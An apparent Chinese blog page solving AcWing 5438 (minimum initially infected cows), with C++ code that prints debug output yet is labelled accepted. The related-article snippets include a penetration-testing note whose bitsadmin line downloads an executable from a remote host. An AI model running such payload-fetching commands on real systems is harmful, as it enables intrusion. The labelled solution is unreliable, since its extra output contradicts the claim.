当前位置: 首页 > news >正文

acwing 5438. 密接牛追踪2

农夫约翰有 NN 头奶牛排成一排,从左到右依次编号为 1∼N。

不幸的是,有一种传染病正在蔓延。

最开始时,只有一部分奶牛受到感染。

每经过一个晚上,受感染的牛就会将病毒传染给它左右两侧的牛(如果有的话)。

一旦奶牛被感染,它就会一直被感染,无法自愈。

给定一个经过若干个夜晚后的奶牛的整体状态,其中哪些奶牛已经被感染,哪些奶牛尚未被感染统统已知。

请你计算,最开始时就受到感染的奶牛的最小可能数量。

输入格式

第一行包含整数 N。

第二行包含一个长度为 N 的 01 序列,用来表示给定的奶牛的整体状态,其中第 i 个字符如果是 1 则表示第 i 头奶牛已经被感染,如果是 0则表示第 i 头奶牛尚未被感染。

输出格式

一个整数,表示最开始时就受到感染的奶牛的最小可能数量。

数据范围

1≤N≤3×10^5

输入样例1:
5
11111
输出样例1:
1
样例1解释

初始时,任意一头奶牛被感染,一定天数后都可以使得所有奶牛被感染。

输入样例2:
6
011101
输出样例2:
4
样例2解释

唯一一种可能是给定状态是没有经过任何夜晚时所有奶牛的状态,所以输入中被感染的 4 头奶牛都在最开始时就受到感染。

思路:暴力思路是模拟倒推感染,两端被感染的奶牛群可以先从内端递减,其余奶牛群从两边递减。这样最后当不能在减时,在考虑两端的最小奶牛情况。通过模拟的思路后,不难发现最后决定初始最小奶牛数的是(除两端外)当前被感染数最少的奶牛群,借此得出最大的感染天数。这里大致分为二种情况:

  1. 两端和中间都有被感染的奶的牛群。
  2. 两端有而中间没有被感染奶的牛群。
  3. 两端没有而中间有被感染奶的牛群。

第一种情况需要判断最大的感染天数是否大于两端奶牛群数量;第二种情况直接以最小的奶牛群数量-1为最大感染天数;第三种情况可套用一种。最后附上AC代码,太菜勿喷/(ㄒoㄒ)/~~

#include<bits/stdc++.h>
using namespace std;
#define int long long
const int N=3e5+10;
int n,cnt;
int a[N];
int b[N];
string s;
int cmp(int a,int b){return a<b;
}
signed main(){ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);cin>>n;cin>>s;int flag=0;for(int i=0;i<s.size();i++){a[i+1]=s[i]-'0';if(s[i]=='1'){if(!flag)cnt++,b[cnt]=1;else b[cnt]++;flag=1;}else flag=0;}for(int i=1;i<=cnt;i++)cout<<b[i]<<' ';cout<<endl;int ans=0,r=1,l=cnt,mod;int da=0;if(s[0]=='1')r=r+1;if(s[s.size()-1]=='1')l=cnt-1;if(r<=l){sort(b+r,b+l+1,cmp);if(b[r]%2)da=b[r]/2;else da=b[r]/2-1;}if(da){mod=da;if(r==2){if(mod>=b[1])mod=b[1]-1;}if(l==cnt-1){if(mod>=b[cnt])mod=b[cnt]-1;}mod=2*mod+1;for(int i=1;i<=cnt;i++)if(b[i]%mod)ans+=b[i]/mod+1;else ans+=b[i]/mod;}else{mod=min(b[1],b[cnt])-1;mod=2*mod+1;for(int i=1;i<=cnt;i++)if(b[i]%mod)ans+=b[i]/mod+1;else ans+=b[i]/mod;}cout<<da<<endl;cout<<mod<<endl;cout<<ans;return 0;
}

相关文章:

acwing 5438. 密接牛追踪2

农夫约翰有 NN 头奶牛排成一排&#xff0c;从左到右依次编号为 1∼N。 不幸的是&#xff0c;有一种传染病正在蔓延。 最开始时&#xff0c;只有一部分奶牛受到感染。 每经过一个晚上&#xff0c;受感染的牛就会将病毒传染给它左右两侧的牛&#xff08;如果有的话&#xff09…...

【Linux】线程池

目录 线程池 日志 线程池 在程序中&#xff0c;会预先创建一批线程&#xff0c;在内部会有一个叫任务队列task_queue的东西&#xff0c;未来如果有任务要处理&#xff0c;就把任务push到任务队列里&#xff0c;然后自动有线程去任务队列里拿任务并处理&#xff0c;如果没有任…...

【11408】考研英语长难句解析策略:三步断开与简化法,快速提升阅读得分

2025.04.01 英语断开长难句分析主谓心得 简化长难句心得 英语 断开长难句 在一些长难句中&#xff0c;有时从句的连词会被省略&#xff0c;且没有标点将其隔开&#xff0c;此时就无法通过标点和连接词来断开长难句。那么我们只能够通过分析主谓来断开长难句。 分析主谓 谓语…...

Spring Cloud 2023.x安全升级:OAuth2.1与JWT动态轮换实战

引言&#xff1a;当安全遇上云原生&#xff0c;零停机密钥轮换成为刚需 在微服务架构中&#xff0c;OAuth2.1与JWT已成为身份验证的黄金标准&#xff0c;但传统方案存在两大痛点&#xff1a; 密钥轮换风险&#xff1a;手动替换JWT密钥需重启服务&#xff0c;导致短暂鉴权中断&…...

Vue3.5 企业级管理系统实战(十二):组件尺寸及多语言实现

1 组件尺寸切换 1.1 用 Pinia 进行 Size 的持久化存储 首先&#xff0c;在 src/plugins/element.ts 中增加 size 类型&#xff0c;代码如下&#xff1a; //src/plugins/element.ts import type { App } from "vue";import { ElMessage, ElNotification, ElMessageBo…...

15:00开始面试,15:08就出来了,问的问题有点变态。。。

从小厂出来&#xff0c;没想到在另一家公司又寄了。 到这家公司开始上班&#xff0c;加班是每天必不可少的&#xff0c;看在钱给的比较多的份上&#xff0c;就不太计较了。没想到8月一纸通知&#xff0c;所有人不准加班&#xff0c;加班费不仅没有了&#xff0c;薪资还要降40%…...

Java学习路线 - 第三阶段笔记

Java学习路线 - 第三阶段笔记 Java高级特性&#xff08;2-3个月&#xff09; 1. 集合框架深入 1.1 List详解 ArrayList&#xff1a;基于动态数组实现&#xff0c;随机访问高效&#xff0c;插入删除效率低LinkedList&#xff1a;基于双向链表实现&#xff0c;插入删除高效&a…...

【无标题】Scala函数基础

函数和方法的区别 1&#xff09; 核心概念 &#xff08;1&#xff09; 为完成某一功能的程序语句的集合&#xff0c;称为函数。 &#xff08;2&#xff09; 类中的函数称之方法。 2&#xff09; 案例实操 &#xff08;1&#xff09; Scala 语言可以在任何的语法结构中声明…...

微信登录、商品浏览前瞻

一.业务效果 二.所需技术...

自动化工作流工具的综合对比与推荐

最近收到很多朋友私信我说&#xff1a;“刷短视频的时候&#xff0c;总是刷到自动化工作流的工具&#xff0c;有好多直播间都在宣传&#xff0c;不知道哪款工具好”。我花了点时间&#xff0c;做了一下测试&#xff0c;大家可以参考一下&#xff0c;以下内容&#xff1a; 以下…...

可实现黑屏与蓝屏反应的屏幕隐私保护软件分享

软件介绍 在信息安全备受关注的当下&#xff0c;一款能够有效保护屏幕隐私的软件 —— 防窥助手&#xff0c;悄然问世。它由吾爱的 遗憾迟香精心开发&#xff0c;为用户的屏幕隐私防护带来全新体验。 独特原理&#xff0c;精准守护 防窥助手的运行原理相当巧妙&#xff0c;它…...

PERL开发环境搭建>>Windows,Linux,Mac OS

特点 简单 快速 perl解释器直接对源代码程序解释执行,是一个解释性的语言, 不需要编译器和链接器来运行代码>>速度快 灵活 借鉴了C/C, Basic, Pascal, awk, sed等多种语言, 定位于实用性语言,既具备了脚本语言的所有功能,也添加了高级语言功能 开源.免费 没有&qu…...

【实战】渗透测试下的传输命令

目录 bitsadmin certutil curl ftp js nc perl php py scp vbs wget WindowsDefender bitsadmin 不支持https、ftp协议&#xff0c;php python带的服务器会出错 >bitsadmin /transfer n http://192.168.1.192/Client.exe e:\1.exe >bitsadmin /rawreturn /…...

JSON 基础知识(一)

第一部分&#xff1a;JSON 基础知识 &#x1f4e2; 快速掌握 JSON&#xff01;文章 视频双管齐下 &#x1f680; 如果你觉得阅读文章太慢&#xff0c;或者更喜欢 边看边学 的方式&#xff0c;不妨直接观看我录制的 JSON 课程视频&#xff01;&#x1f3ac; 视频里会用更直观…...

nodejs:midi-writer-js 将基金净值数据转换为 midi 文件

开放式基金是没有公布每日交易量的。 /funds/data/660008.csv 文件开头&#xff1a; date,jz,ljjz 2016-01-04,1.1141,1.1141 2016-01-05,1.1161,1.1161 2016-01-06,1.1350,1.1350 这是一个将开放式基金数据转换为 MIDI音乐的 js 程序示例。该程序将基金净值映射为 MIDI音符的…...

从零实现Json-Rpc框架】- 项目实现 - 服务端registrydiscovery实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;博客仓库&#xff1a;https://gitee.com/JohnKingW/linux_test/tree/master/lesson &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &…...

自适应二值化与形态学变换在图像颜色识别与替换中的应用解析

目录 前言一、自适应二值化1.1 取均值 ADAPTIVE_THRESH_MEAN_C1.2 高斯加权求和 ADAPTIVE_THRESH_GAUSSIAN_C1.2.1 一维高斯分布1.2.2 二维高速分布1.2.3 二维高斯分布权重计算规则 1.2.3.1 用户设置了σ1.2.3.2 用户没有设置σ1.3 代码二、形态学变换2.1 核 2.2 腐蚀2.3 膨胀…...

JsonCpp 处理 JSON(现代 C++ 方案)(三)

第三部分:JsonCpp 处理 JSON(现代 C++ 方案) 📢 快速掌握 JSON!文章 + 视频双管齐下 🚀 如果你觉得阅读文章太慢,或者更喜欢 边看边学 的方式,不妨直接观看我录制的 JsonCpp 课程视频!🎬 视频里会用更直观的方式讲解 JsonCpp 的核心概念、实战技巧,并配有动手演…...

flutter 曲线学习 使用第三方插件实现左右滑动

flutter 曲线的使用 实现左右滑动 TemperatureChartPage() TemperatureChartPage2() – 不太完善 方法 ChartDrawPage import package:doluyo/dly_package/widget/dly_widget.dart; import package:fl_chart/fl_chart.dart; import package:flutter/material.dart; impor…...

【WRF工具】GIS4WRF详细介绍:配置 WPS/WRF

【WRF工具】GIS4WRF详细介绍 QGIS-GIS4WRF安装&#xff08;Installation&#xff09;安装 QGIS安装 GIS4WRF GIS4WRF 配置(Configuration)一、如何进入配置界面二、可配置内容1️⃣ 设置工作目录2️⃣ 与 WPS/WRF 集成3️⃣ 与 NCAR 数据档案集成 参考 GIS4WRF 是一个在 QGIS 中…...

【自用记录】本地关联GitHub以及遇到的问题

最近终于又想起GitHub&#xff0c;想上传代码和项目到仓库里。 由于很早之前有在本地连接过GitHub&#xff08;但没怎么用&#xff09;&#xff0c;现在需要重新搞起&#xff08;操作忘得差不多&#xff09;。 在看教程实操的过程中遇到了一些小问题&#xff0c;遂记录一下。 前…...

小程序中跨页面组件共享数据的实现方法与对比

小程序中跨页面/组件共享数据的实现方法与对比 在小程序开发中&#xff0c;实现不同页面或组件之间的数据共享是常见需求。以下是几种主要实现方式的详细总结与对比分析&#xff1a; 一、常用数据共享方法 全局变量&#xff08;getApp()&#xff09;、本地缓存&#xff08;w…...

ngx_http_core_merge_srv_conf

定义在 src\http\ngx_http_core_module.c static char * ngx_http_core_merge_srv_conf(ngx_conf_t *cf, void *parent, void *child) {ngx_http_core_srv_conf_t *prev parent;ngx_http_core_srv_conf_t *conf child;ngx_str_t name;ngx_http_server_name_t…...

如何在中科方德llinux系统上离线安装salt-minion

1&#xff0c;我的系统是什么 国产操作系统 中科方德 NFSChina Server release 4.0.240701 (RTM4-G320) 2&#xff0c;首先准备好两个安装包 salt-minion-2015.8.8-2.el7.noarch.rpm和salt-2015.8.8-2.el7.noarch.rpm 后者这个是前者的依赖项。 所以先安装salt-2015.8.8-2.e…...

RAG系统实战:当检索为空时,如何实现生成模块的优雅降级(Fallback)?

目录 RAG系统实战&#xff1a;当检索为空时&#xff0c;如何实现生成模块的优雅降级&#xff08;Fallback&#xff09;&#xff1f; 一、为什么需要优雅降级&#xff08;Fallback&#xff09;&#xff1f; 二、常用的优雅降级策略 策略一&#xff1a;预设后备提示&#xff0…...

输电线路航空标志球:低空飞行的安全路标 / 恒峰智慧科技

在现代社会&#xff0c;随着航空业的快速发展&#xff0c;低空飞行活动日益频繁。为了确保飞行安全&#xff0c;避免飞机与高压电线等障碍物发生碰撞&#xff0c;输电线路航空标志球应运而生。这种装置被广泛应用于高压输电线路上&#xff0c;尤其是超高压和跨江输电线&#xf…...

【SPP】蓝牙 SDP 协议在SPP中的互操作性解析

在蓝牙通信体系中&#xff0c;服务发现协议&#xff08;SDP, Service Discovery Protocol&#xff09;扮演着 "服务目录" 的核心角色。对于串口通信协议&#xff08;SPP, Serial Port Profile&#xff09;而言&#xff0c;SDP 服务记录是设备间建立串口连接的基础&am…...

本地部署vanna ai+通过http请求调用vanna

本地部署vanna ai ① 准备python环境&#xff0c;推荐最新的python12、13版本 ② 安装vanna库 我这里安装的python环境是python312 进入目录python312/Scripts&#xff0c;在该目录下的命令行窗口中输入以下命令&#xff1a;pip jinstall vanna pip install vanna③ 配置向…...

seq2seq

理解 transformer 中的 encoder decoder 详细的 transformer 教程见&#xff1a;【极速版 – 大模型入门到进阶】Transformer 文章目录 &#x1f30a; Encoder: 给一排向量输出另外一排向量&#x1f30a; Encoder vs. Decoder: multi-head attention vs. masked multi-head at…...

C++ ---- 虚继承

一、什么是虚继承 虚继承就是子类中只有一份间接父类的数据。用于解决多继承中的父类为非虚继承时出现的二义性问题&#xff0c;即菱形继承问题。继承方式需要加上virtual关键字。 二、虚继承的特性 以菱形继承为例&#xff1a; 1.不使用虚继承 根据输出的大小和关系图&…...

COMSOL多层圆片随机堆积三维模型

构建多层圆片随机堆积三维模型可用于材料、化工、土木、生物医学等多领域的研究&#xff0c;如复合材料设计、催化剂载体、颗粒物堆积研究等。本案例介绍在COMSOL内建立三维圆片堆积模型。 三维圆片堆积模型可采用CAD纤维密堆积3D插件建立&#xff0c;参数设置如图所示&#…...

PHP 开发API接口签名验证

就安全来说&#xff0c;所有客户端和服务器端的通信内容应该都要通过加密通道(HTTPS)传输&#xff0c;明文的HTTP通道将会是man-in-the- middle及其各种变种攻击的温床。所谓man-in-the-middle攻击简单讲就是指恶意的黑客可以在客户端和服务器端的明文通信通道上做手 脚&#x…...

Web开发-JavaEE应用ORM框架SQL预编译JDBCMyBatisHibernateMaven

知识点&#xff1a; 0、安全开发-JavaEE-构建工具-Maven 1、安全开发-JavaEE-ORM框架-JDBC 2、安全开发-JavaEE-ORM框架-Mybatis 3、安全开发-JavaEE-ORM框架-Hibernate 4、安全开发-JavaEE-ORM框架-SQL注入&预编译 一、演示案例-WEB开发-JavaEE-构建工具-Maven IDEA配置m…...

软考-数据库系统工程师第四版pdf

软考-数据库系统工程师第四版pdf git中的文件相对没有那么清楚&#xff0c;网盘的有高清版 github下载 这里我给出仓库地址 链接: https://github.com/yaodada123/ruankao-pdf https://github.com/yaodada123/ruankao-pdf gitee下载 https://gitee.com/yao-hengchao/ruank…...

扫描仪+文档pdf编辑器+pdf格式转换器

小扫描仪是一款集“扫描仪文档pdf编辑器pdf格式转换器”于一体的多功能扫描软件&#xff0c;软件功能丰富&#xff0c;而且目前是免费&#xff0c;功能包括扫描、编辑、转换三部分。 扫描&#xff1a;扫描的功能包括文档扫描、身份证扫描、护照扫描、书籍扫描、OCR和二维码。 扫…...

【stm32--HAL库DMA+USART+空闲中断不定长收发数据】

串口通信-Hal库实现不定长度收发&#xff0c;DMAUSART DMA串口STM32CUBEMX配置&#xff08;工程创建&#xff09;基础配置时钟配置工程配置 代码编写现象 DMA 在正式配置之前&#xff0c;我们先来一起简单了解一下DMA。DMA&#xff08;Direct Memory Access&#xff0c;直接内…...

5G-A技术

最近的iOS 18.4 推送了 新功能&#xff0c;最引人注目的便是这个5G-A的这个功能&#xff0c;那什么是5G-A呢 &#xff1f; 目前北京 四环内 还是有能显示出5G-A标志的。 5G-A &#x1f310; 一句话概括&#xff1a; 5G-A 更快的速度 更低的延迟 更强的AI能力 更智能的网…...

Vue 组件 - 动态组件

Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 组件 - 动态组件 目录 动态组件 选项卡页面示例 更简单写法 增加输入框 弥补措施 总结 动态组件 选项卡页面示例 功能&#xff1a;选项卡功能&#xff0c;设置导航点击哪个显示相应页面。 设置三个全局组件&#…...

ffmpeg滤镜使用

ffmpeg实现画中画效果 FFmpeg中&#xff0c;可以通过overlay将多个视频流、多个多媒体采集设备、多个视频文件合并到一个界面中&#xff0c;生成画中画的效果 FFmpeg 滤镜 overlay 基本参数 x和y x坐标和Y坐标 eof action 遇到 eof表示时的处理方式&#xff0c;默认为重复。…...

【MVC简介-产生原因、演变历史、核心思想、组成部分、使用场景】

MVC简介 产生原因&#xff1a; MVC&#xff08;Model-View-Controller&#xff09;模式诞生于20世纪70年代&#xff0c;由Trygve Reenskaug在施乐帕克研究中心&#xff08;Xerox PARC&#xff09;为Smalltalk语言设计&#xff0c;目的是解决图形用户界面&#xff08;GUI&…...

基于大模型的房间隔缺损手术全流程预测与方案优化研究报告

目录 一、引言 1.1 研究背景与意义 1.2 研究目的与目标 1.3 研究方法与创新点 二、房间隔缺损概述 2.1 房间隔缺损定义与分类 2.2 发病机制与病理生理 2.3 流行病学特征 三、大模型在房间隔缺损预测中的应用原理 3.1 大模型技术简介 3.2 数据收集与预处理 3.3 模型…...

什么是 CSSD?

文章目录 一、什么是 CSSD&#xff1f;CSSD 的职责 二、CSSD 是如何工作的&#xff1f;三、CSSD 为什么会重启节点&#xff1f;情况一&#xff1a;网络和存储都断联&#xff08;失联&#xff09;情况二&#xff1a;收到其他节点对自己的踢出通知&#xff08;外部 fencing&#…...

uniapp APP端在线升级(简版)

设计思路&#xff1a; 1.版本比较&#xff1a;应用程序检查其当前版本与远程服务器上可用的最新版本 2. 更新状态指示&#xff1a;如果应用程序是不是最新的版本&#xff0c;则页面提示下载最新版本。 3.下载启动&#xff1a;通过plus.downloader.createDownload()启动新应用…...

2024年蓝桥杯Java B组省赛真题超详解析-分布式队列

问题&#xff1a;你需要回答在某个时刻&#xff0c;队列中有多少个元素具有可见性 方案&#xff1a;跟踪每个副节点已经同步到主节点队列的元素数量&#xff0c;并找出所有副节点中同步到的最少元素数量&#xff0c;这个数量即为所有副节点都已经同步的元素数量。 解析&#…...

Vue3入门

环境准备: node.js vscode or webstorm 哪个熟悉用哪个 这两个都是傻瓜式安装 浏览器直接搜索 下载即可 安装: 安装完node.js之后 按住快捷键 winR 打开命令提示符输入node 将显示版本信息 接着我们通过 vite 构建vue3工程 优点: 轻量快速的热重载&#xff08;HMR&#xf…...

向量库(Vector Database)概述

向量库&#xff08;Vector Database&#xff09;概述 1. 核心概念 ​向量 高维空间中的数值数组&#xff0c;通常由模型&#xff08;如BERT、ResNet&#xff09;将非结构化数据&#xff08;文本、图像等&#xff09;转换为嵌入向量。 ​向量相似性 衡量方法&#xff1a;余弦相…...

Oracle迁移达梦遇中断?试试SQLark的断点续迁功能!

在企业级数据迁移项目中&#xff0c;如果迁移单表数据量超过亿行、占用空间超过100GB时&#xff0c;一旦遇到网络中断或迁移报错&#xff0c;往往需要整表重新迁移&#xff0c;导致效率低下&#xff0c;严重影响项目进度。针对这一痛点&#xff0c;SQLark 支持对 Oracle→DM 的…...

上海某海外视频平台Android高级工程师视频一面

问的问题比较细&#xff0c;有很多小细节在里面&#xff0c;平时真不一定会注意到&#xff0c;做一个备忘&#xff1a; 1.Object类里面有哪些方法&#xff1f; Object 类是 Java 中所有类的根类&#xff0c;它定义了一些基本方法&#xff0c;供所有类继承和重写1. 常用方法 1…...

基于yolov11的汽车损伤检测系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 基于YOLOv11的汽车损伤检测系统是一种先进的计算机视觉技术&#xff0c;旨在快速准确地识别汽车的各种损伤类型。该系统利用YOLOv11模型的强大性能&#xff0c;实现了对车辆损伤的精确检测与分类。 该系统能够识别的损伤类型包括裂纹&#xff08;crack&#xff…...

华为IP(3)

DHCP Relay报文格式 DHCP Relay主要负责转发DHCP客户端与DHCP服务器之间的DHCP报文&#xff0c;所以DHCP Relay的报文格式只是把DHCP的报文部分字段做了相应的修改&#xff0c;报文格式没有发生变化 hops&#xff1a;表示当前DHCP报文经过DHCP中继的数目&#xff0c;该字段由…...